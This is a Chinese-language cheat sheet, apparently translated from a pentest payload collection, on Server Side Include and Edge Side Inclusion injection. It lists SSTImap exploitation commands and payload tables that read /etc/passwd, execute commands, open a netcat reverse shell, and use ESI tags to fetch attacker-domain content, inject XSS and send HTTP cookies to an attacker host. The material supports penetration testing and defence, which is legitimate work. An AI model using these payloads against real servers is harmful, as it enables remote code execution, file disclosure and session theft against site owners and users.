跳转至

服务端包含注入 (Server Side Include Injection)

服务端包含 (SSI) 是放置在 HTML 页面中的指令,在页面被服务器处理时执行。它们允许你向现有的 HTML 页面添加动态生成的内容,而无需通过 CGI 程序或其他动态技术来处理整个页面。

摘要 (Summary)

工具 (Tools)

  • vladko312/SSTImap - 基于 epinna/tplmap 改进的具有交互界面的自动 SSTI 检测工具,支持使用 --legacy 或 -e SSI 参数进行 SSI 的检测与利用。
python3 ./sstimap.py -u 'https://example.com/page?name=John' --legacy -s
python3 ./sstimap.py -i -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e SSI
python3 ./sstimap.py -i --legacy -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'

方法论 (Methodology)

当攻击者能够将服务端包含指令输入到 Web 应用程序中时,就会发生 SSI 注入。SSI 是可以包含文件、执行命令或打印环境变量/属性的指令。如果 SSI 上下文中的用户输入未经过适当的清洗,该输入就可能被用来操纵服务器端的行为、访问敏感信息或执行系统命令。

SSI 格式:<!--#指令 参数="值" -->

描述 (Description) 攻击载荷 (Payload)
打印当前日期 <!--#echo var="DATE_LOCAL" -->
打印文档名称 <!--#echo var="DOCUMENT_NAME" -->
打印所有环境变量 <!--#printenv -->
设置变量 <!--#set var="name" value="Rich" -->
包含文件 (本地路径) <!--#include file="/etc/passwd" -->
包含文件 (虚拟路径) <!--#include virtual="/index.html" -->
执行系统命令 <!--#exec cmd="ls" -->
反弹 Shell <!--#exec cmd="mkfifo /tmp/f;nc IP 端口 0</tmp/f\|/bin/bash 1>/tmp/f;rm /tmp/f" -->

边缘侧包含 (Edge Side Inclusion)

HTTP 代理(Surrogates)无法区分来自上游服务器的真实 ESI 标签和嵌入在 HTTP 响应中的恶意标签。这意味着,如果攻击者能够成功地在 HTTP 响应中注入 ESI 标签,代理将会毫无疑问地处理并解析它们,并认为这些标签是来自上游服务器的合法指令。

某些代理要求在 Surrogate-Control HTTP 响应头中声明 ESI 处理。

Surrogate-Control: content="ESI/1.0"
描述 (Description) 攻击载荷 (Payload)
盲检测 (OOB) <esi:include src=http://攻击者域名.com>
XSS 攻击 <esi:include src=http://攻击者域名.com/XSS载荷.html>
Cookie 窃取器 <esi:include src=http://攻击者域名.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
包含敏感文件 <esi:include src="supersecret.txt">
显示调试信息 <esi:debug/>
添加自定义响应头 <!--esi $add_header('Location','http://攻击者域名.com') -->
内联片段注入 <esi:inline name="/attack.html" fetchable="yes"><script>prompt('XSS')</script></esi:inline>
软件 (Software) 包含 (Includes) 变量 (Vars) Cookies 需要上游响应头 主机白名单
Squid3 支持 支持 支持 是 否
Varnish Cache 支持 不支持 不支持 是 是
Fastly 支持 不支持 不支持 否 是
Akamai ETS 支持 支持 支持 否 否
NodeJS' esi 支持 支持 支持 否 否
NodeJS' nodesi 支持 不支持 不支持 否 可选

参考资料 (References)